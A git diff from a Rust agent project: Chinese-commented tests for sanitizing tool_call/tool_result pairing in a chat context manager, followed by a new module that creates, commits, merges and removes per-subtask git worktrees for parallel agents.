|
|| m.tool_calls.as_ref().is_none_or(|c| c.is_empty())),
|
||||||
|
"全未闭合的 assistant 头应被剔除");
|
||||||
|
assert!(msgs.is_empty(), "全未闭合应整条删");
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 1, "全量保留");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_partial_resolve_rewrites_head() {
|
||||||
|
// 多 tool_call,部分有匹配部分无 → 保留头但只留已闭合的,丢弃无主 result
|
||||||
|
// provider 协议铁律:head 的每个 tool_call.id 必须都有 tool_result。
|
||||||
|
// 「不能整条删」——保住已发生的合法工具交互(call_b)历史。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("触发工具"));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("call_a", "fn_a", "{}"), ToolCall::new("call_b", "fn_b", "{}")],
|
||||||
|
));
|
||||||
|
// 只有 call_b 有 result → call_a 未闭合
|
||||||
|
mgr.push(ChatMessage::tool_result("call_b", "b 结果"));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
|
||||||
|
// 头被保留(不是整条删),但 tool_calls 重写为只剩已闭合的 call_b
|
||||||
|
let assistant_heads: Vec<_> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||||
|
.collect();
|
||||||
|
assert_eq!(assistant_heads.len(), 1, "部分闭合头应保留(重写不删)");
|
||||||
|
let head_calls = assistant_heads[0].tool_calls.as_ref().unwrap();
|
||||||
|
assert_eq!(head_calls.len(), 1, "重写后只保留 1 个已闭合 tool_call");
|
||||||
|
assert_eq!(head_calls[0].id, "call_b", "保留的应是已闭合的 call_b");
|
||||||
|
assert!(
|
||||||
|
head_calls.iter().all(|c| c.id != "call_a"),
|
||||||
|
"未闭合的 call_a 应从重写后的 tool_calls 中移除"
|
||||||
|
);
|
||||||
|
|
||||||
|
// tool_result 只剩 call_b 的,user 前置保留
|
||||||
|
let tool_msgs: Vec<_> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.collect();
|
||||||
|
assert_eq!(tool_msgs.len(), 1, "只保留 call_b 的 tool_result");
|
||||||
|
assert_eq!(tool_msgs[0].tool_call_id.as_deref(), Some("call_b"));
|
||||||
|
assert!(
|
||||||
|
msgs.iter()
|
||||||
|
.any(|m| matches!(m.role, MessageRole::User) && m.content == "触发工具"),
|
||||||
|
"无关 user 消息不应被误删"
|
||||||
|
);
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 3, "sanitize 不应污染内存全量");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_keeps_well_formed_triplet() {
|
||||||
|
// 正常三元组:user → head(tool_call 有匹配 tool_result) → tool_result,不被剔除。
|
||||||
|
// 首条必须是 user(step4 Anthropic 协议修复),故前置一条 user 消息。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("问题"));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("call_a", "fn_a", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("call_a", "结果"));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
assert_eq!(msgs.len(), 3, "正常三元组不应被 sanitize 剔除");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 阶段2 占位配对完整性(解 400 orphan):反向 orphan 检测 + 出口自愈 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_drops_reverse_orphan_tool_result() {
|
||||||
|
// 反向 orphan:tool_result 无对应 tool_call 头(头被裁/丢)→ sanitize step3.5 丢弃。
|
||||||
|
// 非 pending 占位(普通 tool_result)直接丢,防 provider 400 orphan。
|
||||||
|
let msgs = vec![
|
||||||
|
ChatMessage::user("问题"),
|
||||||
|
ChatMessage::tool_result("orphan_id", "孤儿结果无头"),
|
||||||
|
];
|
||||||
|
let sanitized = sanitize_messages(msgs);
|
||||||
|
assert!(
|
||||||
|
sanitized.iter().all(|m| !matches!(m.role, MessageRole::Tool)),
|
||||||
|
"无头的普通 tool_result 应被反向 orphan 检测丢弃, 实际 {:?}",
|
||||||
|
sanitized
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_keeps_reverse_orphan_pending_placeholder() {
|
||||||
|
// 反向 orphan 但内容是 pending 占位(带 __PENDING__ 标记)→ step3.5 豁免保留
|
||||||
|
// (占位语义"等审批",出口断言自愈补头)。验证占位保护不误丢。
|
||||||
|
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_1";
|
||||||
|
let msgs = vec![
|
||||||
|
ChatMessage::user("问题"),
|
||||||
|
ChatMessage::tool_result("call_pending_1", placeholder_content),
|
||||||
|
];
|
||||||
|
let sanitized = sanitize_messages(msgs);
|
||||||
|
let kept: Vec<_> = sanitized
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.collect();
|
||||||
|
assert_eq!(kept.len(), 1, "pending 占位 tool_result 应豁免保留,不丢");
|
||||||
|
assert_eq!(kept[0].tool_call_id.as_deref(), Some("call_pending_1"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn build_for_request_heals_orphan_pending_placeholder_via_exit_assert() {
|
||||||
|
// 端到端:pending 占位 tool_result(无头)经 sanitize 保留 → 出口断言补 TOOL_MISSING_PREFIX
|
||||||
|
// 头自愈 → 发送视图含闭合三元组(占位头 + 占位 result,id 配对)。防 400 orphan。
|
||||||
|
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_2";
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("问题"));
|
||||||
|
mgr.push(ChatMessage::tool_result("call_pending_2", placeholder_content));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
|
||||||
|
// 出口断言补了占位头 → 必有 assistant 头含 tool_missing_ 前缀 id
|
||||||
|
let healed_heads: Vec<_> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.filter_map(|m| m.tool_calls.as_ref())
|
||||||
|
.flatten()
|
||||||
|
.filter(|c| c.id.starts_with("tool_missing_"))
|
||||||
|
.collect();
|
||||||
|
assert_eq!(healed_heads.len(), 1, "出口断言应补 1 个 TOOL_MISSING_PREFIX 占位头");
|
||||||
|
// 占位头 id 应含原 tool_call_id(精确配对)
|
||||||
|
assert!(
|
||||||
|
healed_heads[0].id.contains("call_pending_2"),
|
||||||
|
"补的头 id 应含原 tool_call_id, 实际 {}",
|
||||||
|
healed_heads[0].id
|
||||||
|
);
|
||||||
|
// result 的 tool_call_id 也被改写为占位头 id(三者精确配对)
|
||||||
|
let result_id = msgs
|
||||||
|
.iter()
|
||||||
|
.find(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.and_then(|m| m.tool_call_id.clone())
|
||||||
|
.expect("应有 tool_result");
|
||||||
|
assert_eq!(result_id, healed_heads[0].id, "result id 应与补的头 id 一致(闭合配对)");
|
||||||
|
// 持久化全量保留(view-only)
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 2, "自愈不应污染持久化");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn build_for_request_keeps_well_formed_triplet_under_placeholder_integrity() {
|
||||||
|
// 回归:启用占位配对完整性后,正常闭合三元组不被误补头(无 orphan)。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("问题"));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("call_ok", "fn", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("call_ok", "正常结果"));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
// 无 tool_missing_ 头(正常三元组不需自愈)
|
||||||
|
let missing_heads = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.filter_map(|m| m.tool_calls.as_ref())
|
||||||
|
.flatten()
|
||||||
|
.filter(|c| c.id.starts_with("tool_missing_"))
|
||||||
|
.count();
|
||||||
|
assert_eq!(missing_heads, 0, "正常闭合三元组不应被补占位头");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn assert_placeholder_pairing_no_consecutive_assistant_after_head_insert() {
|
||||||
|
// 加固(连续 assistant→400):补占位头插在 orphan tool_result 正前方,若 orphan result 的
|
||||||
|
// 前一条恰是 assistant(无 tool_result 隔开),则补头后产生**连续 assistant**
|
||||||
|
// (前 assistant + 占位 assistant + tool_result)→ Anthropic/GLM 协议 400/1214。
|
||||||
|
// 出口断言补头后必须再过一次 ensure_sequence_legal 合并连续 assistant,使其不触发 provider 拒绝。
|
||||||
|
//
|
||||||
|
// 构造真正触发连续 assistant 的序列:user → 纯文本 assistant(无 tool_calls) →
|
||||||
|
// orphan pending 占位 tool_result(call_pending,无头)。占位 result 经 sanitize step3.5
|
||||||
|
// 豁免保留(带 __PENDING__),出口断言在 result 正前方补占位头(其前驱正是 assistant)
|
||||||
|
// → 补后序列 user → assistant(纯文本) → assistant(占位头) → tool_result = 连续 assistant。
|
||||||
|
//
|
||||||
|
// 注:前版本用「带 tool_calls 的 assistant + tool_result(闭合) + orphan 占位 result」,
|
||||||
|
// 补头后前驱是 tool_result 而非 assistant,根本不产生连续 assistant,断言恒真(未真测)。
|
||||||
|
// 本版把前驱改成纯文本 assistant(无 tool_result 隔开),才能真正触发合并路径。
|
||||||
|
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_cc";
|
||||||
|
let msgs = vec![
|
||||||
|
ChatMessage::user("问题"),
|
||||||
|
ChatMessage::assistant("纯文本回复(无 tool_calls)"),
|
||||||
|
ChatMessage::tool_result("call_pending_cc", placeholder_content),
|
||||||
|
];
|
||||||
|
let sanitized = sanitize_messages(msgs.clone());
|
||||||
|
// 前置确认:sanitize 后占位 result 仍豁免保留(step3.5),序列保留 assistant→tool_result
|
||||||
|
assert_eq!(sanitized.len(), 3, "占位 result 应豁免保留, 实际 {:?}", sanitized);
|
||||||
|
assert!(sanitized.iter().any(|m|
|
||||||
|
matches!(m.role, MessageRole::Tool)
|
||||||
|
&& m.tool_call_id.as_deref() == Some("call_pending_cc")
|
||||||
|
), "占位 tool_result 应保留");
|
||||||
|
|
||||||
|
let healed = assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED);
|
||||||
|
|
||||||
|
// 断言:补了占位头(tool_missing_ 前缀 id)
|
||||||
|
let missing_heads: Vec<_> = healed
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.filter_map(|m| m.tool_calls.as_ref())
|
||||||
|
.flatten()
|
||||||
|
.filter(|c| c.id.starts_with(TOOL_MISSING_PREFIX))
|
||||||
|
.collect();
|
||||||
|
assert_eq!(
|
||||||
|
missing_heads.len(),
|
||||||
|
1,
|
||||||
|
"应补 1 个占位头, 实际 {:?}",
|
||||||
|
missing_heads
|
||||||
|
);
|
||||||
|
|
||||||
|
// 核心断言:不应存在连续 assistant(任一 assistant 紧邻前一 assistant 视为连续)。
|
||||||
|
// 若出口断言补头后未过 ensure_sequence_legal,会留连续 assistant(纯文本 assistant +
|
||||||
|
// 占位 assistant)→ consecutive >= 1,本断言失败。合并后 consecutive 必须 0。
|
||||||
|
let mut prev_is_assistant = false;
|
||||||
|
let mut consecutive = 0u32;
|
||||||
|
for m in &healed {
|
||||||
|
let is_assistant = matches!(m.role, MessageRole::Assistant);
|
||||||
|
if is_assistant && prev_is_assistant {
|
||||||
|
consecutive += 1;
|
||||||
|
}
|
||||||
|
prev_is_assistant = is_assistant;
|
||||||
|
}
|
||||||
|
assert_eq!(
|
||||||
|
consecutive, 0,
|
||||||
|
"补占位头后不应有连续 assistant(应被合并), 实际序列 {:?}",
|
||||||
|
healed
|
||||||
|
.iter()
|
||||||
|
.map(|m| format!("{:?}", m.role))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
);
|
||||||
|
|
||||||
|
// 合并验证:补的占位头应被并入前一个纯文本 assistant(其 tool_calls 从 None→Some[占位头]),
|
||||||
|
// 而非独立成条(独立成条才会连续 assistant)。即 healed 里 assistant 消息数 == 1(原纯文本头
|
||||||
|
// 吸收了占位头的 tool_calls),且该 assistant 同时含纯文本 content 与占位头 tool_call。
|
||||||
|
let assistant_msgs: Vec<_> = healed
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||||
|
.collect();
|
||||||
|
assert_eq!(
|
||||||
|
assistant_msgs.len(),
|
||||||
|
1,
|
||||||
|
"连续 assistant 应被合并为 1 条(占位头 tool_calls 并入前驱), 实际 {} 条: {:?}",
|
||||||
|
assistant_msgs.len(),
|
||||||
|
healed.iter().map(|m| format!("{:?}", m.role)).collect::<Vec<_>>()
|
||||||
|
);
|
||||||
|
// 合并后唯一 assistant 既保留原纯文本 content,又含占位头 tool_calls
|
||||||
|
let merged = &assistant_msgs[0];
|
||||||
|
assert_eq!(merged.content, "纯文本回复(无 tool_calls)", "合并后应保留前驱纯文本 content");
|
||||||
|
let merged_call_ids: Vec<&str> = merged
|
||||||
|
.tool_calls
|
||||||
|
.as_ref()
|
||||||
|
.map(|cs| cs.iter().map(|c| c.id.as_str()).collect())
|
||||||
|
.unwrap_or_default();
|
||||||
|
assert!(
|
||||||
|
merged_call_ids.iter().any(|id| id.starts_with(TOOL_MISSING_PREFIX)
|
||||||
|
&& id.contains("call_pending_cc")),
|
||||||
|
"合并后前驱 assistant 应吸收占位头 tool_call, 实际 calls: {:?}",
|
||||||
|
merged_call_ids
|
||||||
|
);
|
||||||
|
|
||||||
|
// 占位头 id 应在(合并后的)assistant 头 tool_calls 内,result 与之配对
|
||||||
|
let result_id = healed
|
||||||
|
.iter()
|
||||||
|
.find(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.and_then(|m| m.tool_call_id.clone())
|
||||||
|
.expect("应有 tool_result");
|
||||||
|
assert!(
|
||||||
|
merged_call_ids.contains(&result_id.as_str()),
|
||||||
|
"result id 应与合并后的占位头 id 一致(闭合配对), result={} heads={:?}",
|
||||||
|
result_id,
|
||||||
|
merged_call_ids
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn drop_reverse_orphans_preserves_pending_with_legacy_text() {
|
||||||
|
// 边界:老占位(纯文本"需要用户审批..."无 __PENDING__ 标记)→ is_pending_placeholder 仍识别
|
||||||
|
// (starts_with "需要用户审批") → 豁免保留。验证向前兼容迁移期老数据。
|
||||||
|
let msgs = vec![
|
||||||
|
ChatMessage::user("问题"),
|
||||||
|
ChatMessage::tool_result("legacy_pending", "需要用户审批,等待确认"),
|
||||||
|
];
|
||||||
|
let sanitized = sanitize_messages(msgs);
|
||||||
|
let kept = sanitized
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.count();
|
||||||
|
assert_eq!(kept, 1, "老占位(纯文本无标记)也应豁免保留(向前兼容)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn sanitize_mixed_multi_message_sequence() {
|
||||||
|
// 场景 4:连续多条消息混合——
|
||||||
|
// [user] [全闭合三元组] [中毒占位 id 三元组] [部分闭合头] [user]
|
||||||
|
// 预期:全闭合原样保留、中毒占位整删、部分闭合头重写为只剩已闭合、user 不动
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("开场"));
|
||||||
|
// 全闭合三元组
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调1",
|
||||||
|
vec![ToolCall::new("ok_1", "fn", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("ok_1", "ok 结果"));
|
||||||
|
// 中毒占位 id 三元组(全未闭合)→ 整删
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调2",
|
||||||
|
vec![ToolCall::new("tool_missing_0", "fn", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("tool_missing_0", "占位结果"));
|
||||||
|
// 部分闭合头:keep_1 闭合,drop_1 未闭合 → 重写为只剩 keep_1
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调3",
|
||||||
|
vec![ToolCall::new("keep_1", "fn", "{}"), ToolCall::new("drop_1", "fn", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("keep_1", "keep 结果"));
|
||||||
|
mgr.push(ChatMessage::user("收尾"));
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||||
|
|
||||||
|
// 任何保留头里的 id 都不得含占位前缀、不得含未闭合的 drop_1
|
||||||
|
let head_ids: Vec<Vec<String>> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||||
|
.map(|m| {
|
||||||
|
m.tool_calls
|
||||||
|
.as_ref()
|
||||||
|
.unwrap()
|
||||||
|
.iter()
|
||||||
|
.map(|c| c.id.clone())
|
||||||
|
.collect()
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
assert!(
|
||||||
|
head_ids.iter().all(|ids| {
|
||||||
|
ids.iter().all(|id| !id.starts_with("tool_missing_") && id != "drop_1")
|
||||||
|
}),
|
||||||
|
"保留的 assistant 头中不应再有中毒 id 或未闭合 id, 实际 {:?}", head_ids
|
||||||
|
);
|
||||||
|
let tool_ids: Vec<String> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
.filter_map(|m| m.tool_call_id.clone())
|
||||||
|
.collect();
|
||||||
|
// ok_1(全闭合保留)、keep_1(部分闭合重写后保留)应在;占位/drop_1 不在
|
||||||
|
assert!(tool_ids.contains(&"ok_1".to_string()), "全闭合 ok_1 应保留");
|
||||||
|
assert!(tool_ids.contains(&"keep_1".to_string()), "部分闭合 keep_1 应保留");
|
||||||
|
assert!(
|
||||||
|
tool_ids.iter().all(|id| !id.starts_with("tool_missing_") && id != "drop_1"),
|
||||||
|
"无主 tool_result 应被剔除, 实际 {:?}", tool_ids
|
||||||
|
);
|
||||||
|
// 两条 user 消息原样保留
|
||||||
|
let user_contents: Vec<&str> = msgs
|
||||||
|
.iter()
|
||||||
|
.filter(|m| matches!(m.role, MessageRole::User))
|
||||||
|
.map(|m| m.content.as_str())
|
||||||
|
.collect();
|
||||||
|
assert_eq!(user_contents, vec!["开场", "收尾"], "无关 user 消息不应被误删");
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 8, "sanitize 不应污染内存全量");
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
542
crates/df-ai/src/git_worktree.rs
Normal file
542
crates/df-ai/src/git_worktree.rs
Normal file
@@ -0,0 +1,542 @@
|
|||||||
|
//! Git worktree 生命周期管理 — 多 Agent 并行执行的文件隔离基础
|
||||||
|
//!
|
||||||
|
//! 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §4.2
|
||||||
|
//!
|
||||||
|
//! 每个 SubTask 创建独立 worktree(git worktree add + 新分支),
|
||||||
|
//! 写操作天然隔离。合并时用 git merge-tree 预检 + git merge 实际合并。
|
||||||
|
|
||||||
|
use std::path::{Path, PathBuf};
|
||||||
|
use std::process::Command;
|
||||||
|
|
||||||
|
/// worktree 管理错误
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum WorktreeError {
|
||||||
|
/// Git 命令执行失败(stdout/stderr 含错误信息)
|
||||||
|
GitFailed(String),
|
||||||
|
/// 工程根目录无 .git(非 Git 工程,应降级串行)
|
||||||
|
NotGitRepo,
|
||||||
|
/// worktree 目录已存在(可能上次未清理)
|
||||||
|
AlreadyExists(PathBuf),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for WorktreeError {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::GitFailed(msg) => write!(f, "Git 命令失败: {}", msg),
|
||||||
|
Self::NotGitRepo => write!(f, "非 Git 工程(无 .git 目录)"),
|
||||||
|
Self::AlreadyExists(p) => write!(f, "worktree 目录已存在: {}", p.display()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::error::Error for WorktreeError {}
|
||||||
|
|
||||||
|
/// worktree 创建结果
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct WorktreeHandle {
|
||||||
|
/// worktree 物理路径(SubTask 工具操作的 cwd)
|
||||||
|
pub path: PathBuf,
|
||||||
|
/// worktree 对应的分支名(merge 时用)
|
||||||
|
pub branch: String,
|
||||||
|
/// 所属 Plan id(清理时按 plan 批量)
|
||||||
|
pub plan_id: String,
|
||||||
|
/// SubTask id
|
||||||
|
pub subtask_id: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 在指定工程根目录下创建 SubTask 专属 worktree。
|
||||||
|
///
|
||||||
|
/// - `project_root`: 工程根目录(含 .git)
|
||||||
|
/// - `plan_id`: 所属 Plan id
|
||||||
|
/// - `subtask_id`: SubTask id
|
||||||
|
/// - `base_branch`: fork 基点分支(plan 分支或主分支)
|
||||||
|
///
|
||||||
|
/// 返回 WorktreeHandle(path + branch)。
|
||||||
|
/// worktree 路径:`{project_root}/.devflow/wt/{plan_id}/{subtask_id}`
|
||||||
|
/// 分支名:`subtask/{plan_id}/{subtask_id}`
|
||||||
|
pub fn create_worktree(
|
||||||
|
project_root: &Path,
|
||||||
|
plan_id: &str,
|
||||||
|
subtask_id: &str,
|
||||||
|
base_branch: &str,
|
||||||
|
) -> Result<WorktreeHandle, WorktreeError> {
|
||||||
|
if !project_root.join(".git").exists() {
|
||||||
|
return Err(WorktreeError::NotGitRepo);
|
||||||
|
}
|
||||||
|
|
||||||
|
let wt_path = project_root.join(".devflow/wt").join(plan_id).join(subtask_id);
|
||||||
|
if wt_path.exists() {
|
||||||
|
return Err(WorktreeError::AlreadyExists(wt_path));
|
||||||
|
}
|
||||||
|
|
||||||
|
let branch = format!("subtask/{}/{}", plan_id, subtask_id);
|
||||||
|
|
||||||
|
// git worktree add <path> -b <branch> <base_branch>
|
||||||
|
let output = Command::new("git")
|
||||||
|
.args([
|
||||||
|
"worktree",
|
||||||
|
"add",
|
||||||
|
wt_path.to_str().unwrap_or(""),
|
||||||
|
"-b",
|
||||||
|
&branch,
|
||||||
|
base_branch,
|
||||||
|
])
|
||||||
|
.current_dir(project_root)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git worktree add 执行失败: {}", e)))?;
|
||||||
|
|
||||||
|
if !output.status.success() {
|
||||||
|
let stderr = String::from_utf8_lossy(&output.stderr);
|
||||||
|
return Err(WorktreeError::GitFailed(format!(
|
||||||
|
"git worktree add 失败: {}",
|
||||||
|
stderr.trim()
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(WorktreeHandle {
|
||||||
|
path: wt_path,
|
||||||
|
branch,
|
||||||
|
plan_id: plan_id.to_string(),
|
||||||
|
subtask_id: subtask_id.to_string(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 在 worktree 内提交所有改动(git add -A + git commit)。
|
||||||
|
///
|
||||||
|
/// - `wt_path`: worktree 物理路径
|
||||||
|
/// - `message`: commit 消息
|
||||||
|
pub fn commit_worktree(wt_path: &Path, message: &str) -> Result<(), WorktreeError> {
|
||||||
|
// git add -A
|
||||||
|
let add = Command::new("git")
|
||||||
|
.args(["add", "-A"])
|
||||||
|
.current_dir(wt_path)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git add 失败: {}", e)))?;
|
||||||
|
if !add.status.success() {
|
||||||
|
return Err(WorktreeError::GitFailed(format!(
|
||||||
|
"git add 失败: {}",
|
||||||
|
String::from_utf8_lossy(&add.stderr).trim()
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// git commit -m (允许空提交,--allow-empty 防无改动时报错)
|
||||||
|
let commit = Command::new("git")
|
||||||
|
.args(["commit", "--allow-empty", "-m", message])
|
||||||
|
.current_dir(wt_path)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git commit 失败: {}", e)))?;
|
||||||
|
if !commit.status.success() {
|
||||||
|
// commit 失败可能因无 user.email 配置(测试环境),尝试自动配
|
||||||
|
let stderr = String::from_utf8_lossy(&commit.stderr);
|
||||||
|
if stderr.contains("user.email") || stderr.contains("user.name") {
|
||||||
|
// 降级:设置 worktree 局部配置(--local 不污染全局 git config)后重试
|
||||||
|
Command::new("git")
|
||||||
|
.args(["config", "--local", "user.email", "devflow@ai.local"])
|
||||||
|
.current_dir(wt_path)
|
||||||
|
.output()
|
||||||
|
.ok();
|
||||||
|
Command::new("git")
|
||||||
|
.args(["config", "--local", "user.name", "DevFlow Agent"])
|
||||||
|
.current_dir(wt_path)
|
||||||
|
.output()
|
||||||
|
.ok();
|
||||||
|
let retry = Command::new("git")
|
||||||
|
.args(["commit", "--allow-empty", "-m", message])
|
||||||
|
.current_dir(wt_path)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git commit 重试失败: {}", e)))?;
|
||||||
|
if !retry.status.success() {
|
||||||
|
return Err(WorktreeError::GitFailed(format!(
|
||||||
|
"git commit 重试仍失败: {}",
|
||||||
|
String::from_utf8_lossy(&retry.stderr).trim()
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
return Err(WorktreeError::GitFailed(format!("git commit 失败: {}", stderr.trim())));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 将 SubTask 分支 merge 到 plan 分支(在 plan worktree 内执行)。
|
||||||
|
///
|
||||||
|
/// 返回 Ok(true) 表示有改动被合并,Ok(false) 表示无改动(空分支)。
|
||||||
|
/// 返回 Err 表示 merge 冲突。
|
||||||
|
pub fn merge_branch(
|
||||||
|
plan_wt_path: &Path,
|
||||||
|
subtask_branch: &str,
|
||||||
|
) -> Result<MergeResult, WorktreeError> {
|
||||||
|
// 用旧版兼容的 merge-tree(base branch → 输出冲突树)
|
||||||
|
// --write-tree 需 Git 2.38+,改用三参数 merge-tree <base> <branch1> <branch2>
|
||||||
|
// 成功(exit 0)= 无冲突可自动合并;非0且有输出 = 冲突
|
||||||
|
let base = "HEAD";
|
||||||
|
let precheck = Command::new("git")
|
||||||
|
.args(["merge-tree", base, subtask_branch, base])
|
||||||
|
.current_dir(plan_wt_path)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git merge-tree 失败: {}", e)))?;
|
||||||
|
|
||||||
|
// merge-tree 输出含 conflict marker(<<<<<<<)时表示有冲突
|
||||||
|
let precheck_stdout = String::from_utf8_lossy(&precheck.stdout);
|
||||||
|
if precheck_stdout.contains("<<<<<<<") || precheck_stdout.contains("=======") {
|
||||||
|
return Ok(MergeResult::Conflict {
|
||||||
|
branch: subtask_branch.to_string(),
|
||||||
|
details: precheck_stdout.to_string(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 无冲突,执行实际 merge
|
||||||
|
let merge = Command::new("git")
|
||||||
|
.args(["merge", "--no-edit", subtask_branch])
|
||||||
|
.current_dir(plan_wt_path)
|
||||||
|
.output()
|
||||||
|
.map_err(|e| WorktreeError::GitFailed(format!("git merge 失败: {}", e)))?;
|
||||||
|
|
||||||
|
if !merge.status.success() {
|
||||||
|
// merge 冲突(git merge 返回非0)
|
||||||
|
let stderr = String::from_utf8_lossy(&merge.stderr);
|
||||||
|
let stdout = String::from_utf8_lossy(&merge.stdout);
|
||||||
|
// abort 部分合并状态(防 worktree 处于 conflicted 状态)
|
||||||
|
let _ = Command::new("git")
|
||||||
|
.args(["merge", "--abort"])
|
||||||
|
.current_dir(plan_wt_path)
|
||||||
|
.output();
|
||||||
|
return Ok(MergeResult::Conflict {
|
||||||
|
branch: subtask_branch.to_string(),
|
||||||
|
details: format!("{}\n{}", stdout, stderr),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(MergeResult::Clean)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// merge 结果
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum MergeResult {
|
||||||
|
/// 干净合并(无冲突)
|
||||||
|
Clean,
|
||||||
|
/// 合并冲突(details 含 conflict 信息)
|
||||||
|
Conflict { branch: String, details: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 清理单个 SubTask 的 worktree(git worktree remove --force + 删分支)。
|
||||||
|
pub fn remove_worktree(project_root: &Path, handle: &WorktreeHandle) -> Result<(), WorktreeError> {
|
||||||
|
// git worktree remove --force <path>
|
||||||
|
let _ = Command::new("git")
|
||||||
|
.args([
|
||||||
